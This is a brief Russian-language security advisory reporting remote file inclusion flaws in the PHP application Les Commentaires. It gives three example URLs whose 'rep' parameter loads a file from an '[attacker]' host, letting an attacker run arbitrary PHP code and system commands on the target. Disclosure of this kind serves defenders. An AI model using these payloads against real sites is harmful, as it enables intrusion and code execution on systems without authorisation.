Программа: Les Commentaires
Несколько уязвимостей включения файлов обнаружено в Les Commentaires. Удаленный пользователь может выполнить произвольный PHP код, включая команды операционной системы на целевой системе.
Пример:
http://[target]/config/fonctions.lib.php? rep=http://[attacker]/file.ext%3f
http://[target]/derniers_commentaires.php? rep=http://[attacker]/file.ext%3f
http://[target]/admin.php?rep=http://[attacker]/file.ext%3f
